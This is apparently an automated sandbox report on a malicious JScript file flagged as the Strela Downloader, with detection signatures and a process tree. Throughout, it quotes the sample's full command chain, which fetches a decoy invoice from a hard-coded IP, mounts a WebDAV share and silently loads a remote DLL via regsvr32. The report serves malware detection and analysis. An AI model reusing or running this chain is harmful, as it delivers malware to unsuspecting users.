Edit tour

Windows Analysis Report
1418132746179806359.js

Overview

General Information

Sample name:	1418132746179806359.js
Analysis ID:	1588940
MD5:	c3cfae46e22409939f988da808a87baa
SHA1:	b367148d6a485d31b437b1aec2188d4b3d00036e
SHA256:	be4f34baed362472dfabec1e0be21bfce92e9a65c19a98e7eefb20948869208c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7704 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7984 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8032 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7204 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5364 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7728 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1716,i,16535891303719671525,17188636642958423996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7280 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1144 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7704	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8032, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8032, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ProcessId: 7704, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ProcessId: 7704, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8032, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1144, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3444, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1144, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll, ProcessId: 7984, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1418132746179806359.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1418132746179806359.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1418132746179806359.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000005.00000003.1288157466.0000014C4F7B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1340714355.0000012CE4261000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1340714355.0000012CE4290000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1340714355.0000012CE42B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1340714355.0000012CE4290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 0000000F.00000002.2581610165.0000022EB9C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000F.00000003.1342193636.0000022EB9AA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7704, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1418132746179806359.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pakjmedh.jua.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1418132746179806359.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js"
